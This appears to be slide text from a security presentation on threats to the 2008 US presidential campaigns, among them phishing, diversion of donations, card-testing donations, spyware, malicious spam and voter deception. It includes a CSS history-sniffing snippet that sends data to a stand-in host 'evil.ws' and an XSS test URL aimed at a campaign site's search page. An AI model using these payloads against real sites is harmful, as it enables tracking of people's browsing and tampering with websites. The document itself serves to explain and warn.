<td><a href="https://donate.barackobama.com">https://donate.barackobama.com</a></td>
</tr>
<tr>
<td>brownback.com</td>
<td><a href="https://www.campaigncontribution.com">https://www.campaigncontribution.com</a> (gone)</td>
</tr>
<tr>
<td>chrisdodd.com</td>
<td><a href="https://salsa.wiredforchange.com">https://salsa.wiredforchange.com</a></td>
</tr>
<tr>
<td>mikehuckabee.com</td>
<td><a href="https://www.mikehuckabee.com">https://www.mikehuckabee.com</a></td>
</tr>
<tr>
<td>gilmoreforpresident.com</td>
<td><a href="https://www.gilmoreforpresident.com">https://www.gilmoreforpresident.com</a></td>
</tr>
<tr>
<td>gohunter08.com</td>
<td><a href="https://contribute.gohunter08.com">https://contribute.gohunter08.com</a></td>
</tr>
<tr>
<td>hillaryclinton.com</td>
<td><a href="https://contribute.hillaryclinton.com">https://contribute.hillaryclinton.com</a></td>
</tr>
<tr>
<td>joebiden.com</td>
<td><a href="https://secure.ga3.org">https://secure.ga3.org</a></td>
</tr>
<tr>
<td>johnedwards.com</td>
<td><a href="https://secure.actblue.com">https://secure.actblue.com</a> (changed now)</td>
</tr>
<tr>
<td>johnmccain.com</td>
<td><a href="https://www.johnmccain.com">https://www.johnmccain.com</a></td>
</tr>
<tr>
<td>mittromney.com</td>
<td><a href="https://www.mittromney.com">https://www.mittromney.com</a></td>
</tr>
<tr>
<td>richardsonforpresident.com</td>
<td><a href="https://secure.richardsonforpresident.com">https://secure.richardsonforpresident.com</a></td>
</tr>
<tr>
<td>teamtancredo.com</td>
<td><a href="https://www.campaigncontribution.com">https://www.campaigncontribution.com</a> (gone)</td>
</tr>
<tr>
<td>tommy2008.com</td>
<td><a href="https://secure.yourpatriot.com">https://secure.yourpatriot.com</a> (gone)</td>
</tr>
</tbody>
</table>
Online donation forms

- A sample form from one candidate’s web site
Threat: Election Phishing

- Seen during the 2004 Presidential Election
- Targeted Kerry-Edwards Campaign
  - Online campaign contribution site
  - 1-900 number based; $1.99 per minute; perpetrators never caught
- Over 1,000 Phishing campaigns per day today
Threat: Diversion of Contributions

- Submission of donations to an opponent
- Numerous venues for diversion:
  - Phishing, Typo Squatting, Malicious Code

HTTP GET

www.barackobama.com

HTTP POST
Diversion of Campaign Contributions

- Multiple problems with current donation pages
- Designed simple to drive donations
  - No login required
  - No CAPTCHA, additional user interaction required
  - Most are single page submission forms
  - Provide instant credit card verification
Threat: Contribution DOS

• Processing of credit cards may provide unexpected benefit
  – Small transactions used by thieves
• First seen in early 2007
  – Online charity web sites
  – All contributions not helpful
• Attackers disrupt fundraising
  – Submit random contributions
  – Thousands of credit cards
• Significant burden & dilution
  – Impossible to differentiate
Contribution DOS

- It’s already happened; November 2007
  - Only $3000
  - Frost Bank
  - 500 stolen credit cards
  - $5-$10 contributions
  - Quickly refunded

Identity Thieves Contribute To Ron Paul Presidential Fund

Updated: Nov 2, 2007 09:15 PM PDT

Credit card thieves donating money to a presidential campaign is becoming an increasingly familiar form of identity theft, but there may be nothing law enforcement can do about it.

For Jaye Ruffino it started when she tried to pay a bill with her check card but was unable to, because the bank put a hold on it.

"I told them this doesn't make any sense, because this isn't a credit card, it's a check card, and I've got plenty of money in there, so what's the problem?" Ruffino said.

A customer service representative told her there was a suspicious $5 charge to her account.

"She said, 'Somebody by the name of Ron Paul has been trying to take $5 out of your account using this number,'" Ruffino said.
Privacy and Malicious Code
Threat: Adware

• In its truest form, likely not to pose a dire risk
• However, it’s installation provides strategic placement
• Allows for manipulation of user’s Internet experience
  – Displaying unwanted or unexpected ads
  – Innocuous form: Pop-ups or advertisements
  – Deceptive: Replacing one candidate for another
• Techniques frequently used by
  – 180solution’s Hotbar
  – The Gator Corporation’s Gator
  – WhenU’s Save
• Impact may minimal; minor influence on undecided voters
• The Gallup Organization has been collecting and tracking voter disposition since 1935
  – Well known organization; willing contributors
• Spyware, conversely provides a new mechanism
  – Relatively easy mass accumulation of data
  – Potential for many detailed behaviors to be tracked
  – Potential to be done so without voters knowledge
  – Monitoring of web sites visited; news read; mailing list memberships; party affiliation; emails
• Even when clearly defined in EULA; nobody reads it
  – WhenU’s license agreement 45 pages long
Threat: Browser Data Leakage

• Undesired leakage of browser history
  – Tracking of Internet sites visited by user
  – Donation sites that have visited
  – Popular news articles that may have been read

https://www.indiana.edu/~phishing/browser-recon/
  – The CSS :visited pseudo-class can be used to report on visited sites
  – Below, the #foo attribute sets a background property based on history

```html
<head>
  <style type="text/css">
    #foo:visited{ background: url(http://evil.ws/tracker?what=donated_barack); }
  </style>
</head>
<a id="foo" href="https://donate.barackobama.com/page/contribute/abamtstd"></a>
```
• Another of the more concerning attacks
  – Widespread infection of the general populace
  – Targeted, calculated infection of key individuals
• Widespread politically targeted malicious code may cause
  – Confusion, loss of confidence, widespread damage
  – Data theft, invasion of privacy, logging of keystrokes
• Targeted attacks can target
  – Campaign staff, candidates themselves, candidates families
  – Carefully, well-placed key logger may have detrimental consequences
  – Monitoring of communications:
    • Web site access
    • Draft speeches
    • Strategy
Threat: Monitoring of Communications

- FlexiSpy
- Sold by Bangkok, Thailand software company Vervata
- Remote listening
  - When phone not in use
- Recording of conversations
  - While phone in use
- Remote storage using phone’s data connection
- Multiple platforms:
  - Windows Mobile
  - Symbian OS
  - Blackberry
Threat: Ransomware

• A new twist: Taking Intimidation Online
  – Personally sensitive or legally questionable data collection
  – Recording of private conversations, video
  – Pictures, browser history, documents
  – Copy written materials: music, movies, books

• Data encrypting threats
  – Trojan.GPCoder
  – Encrypts data, erasing the original until a fee is paid
  – Your data for your vote?
  – Obvious logistical issues with actual deployment
Threat: Malicious Code Laced SPAM

- SPAM pointing to malicious code has already been seen
  - Tuesday, February 12th
- Hillary Clinton video link
  - Installs a downloader
  - Downloads Trojan.Srizbi
- Kernel Mode Rookit
  - Hides Registry, Files, Network
  - Downloads configuration files in order to send SPAM

netname: RBNET
descr: RBusiness Network
admin-c: RNR4-RIPE

Cognitive Attacks, Voter Deception and Intimidation
• Potential attacks are plenty
  – We’ve discussed typo domains, Phishing, SPAM as lures
• All three can be used to spread misinformation
• Misinformation may include
  – Decision to drop out of a race
  – A fake scandal, legal or health issues
  – Subtle information; seemingly legitimate (change in position)
  – Push polling
• Campaign site security plays a critical role
  – Server vulnerabilities; SQL injection; Cross Site Scripting (XSS)
  – IT outsourcing; E-mail policies and standards
Threat: Cross Site Scripting

• Cross Site Scripting Vulnerabilities
  – Mitt Romney’s web site at the end of January
  – Allowed injection of arbitrary information into campaign web site

http://www.mittromney.com/index.jsp?do=search&q=%3Cscript%3Ealert%28%22Oops%22%3C%2Fscript%3E
Threat: Deception and Intimidation

- Deceptive practices common in traditional communications
  - Numerous documented cases for previous elections
- 2006: 14,000 Latino voters in Orange County
  - Misleading letters threatening immigrants of incarceration & deportation
- 2004: College students in Pittsburgh
  - Petitioners for medical marijuana and auto insurance rates
  - Signatures resulted in change to party affiliation & polling location
- Deceptive Practices and Voter Intimidation Prevention Act of 2007
- Policy is important; however one need only look at SPAM
- Pump and Dump scams have proven successful
  - 2006: One surge attributed to Bot network; Russian fraudsters
  - 70,000 computers across 166 countries were organized
Threat: Election SPAM

- Examples have already been seen in the wild
- 120,000 message observed by Symantec
Federal Election Commission
In 1975, Congress created the Federal Election Commission (FEC) to administer and enforce the Federal Election Campaign Act (FECA) - the statute that governs the financing of federal elections. The duties of the FEC, which is an independent regulatory agency, are to disclose campaign finance information, to enforce the provisions of the law such as the limits and prohibitions on contributions, and to oversee the public funding of Presidential elections.

http://www.fec.gov/about.shtml
FEC Obligations

• The FEC must:
  – Maintain and provide to the public a full record of all campaign contributions (over $200)
  – Posted on most web websites that accept contributions

We are required by federal law to collect and report to the Federal Election Commission the name, mailing address, occupation and employer of individuals whose contributions exceed $200 in an election cycle. These records are available to the public. However, they cannot be used by other organizations for fundraising. We also make a note of your telephone number and email address, which helps us to contact you quickly if follow-up on your contribution is necessary under Federal election law.
Threat: Public FEC Databases

- Raw data freely available via FTP: ftp.fec.gov
- Used by many web sites to provide donor searches
Conclusion

- Who is likely to participate in these attacks?
- Threats may sow fear among potential contributors
  - Undermine faith in online donations
- Threats can be combined to increase sophistication
- Risks cross technical, social, and psychological boundaries
- Campaigns need to proactively protect themselves
Questions?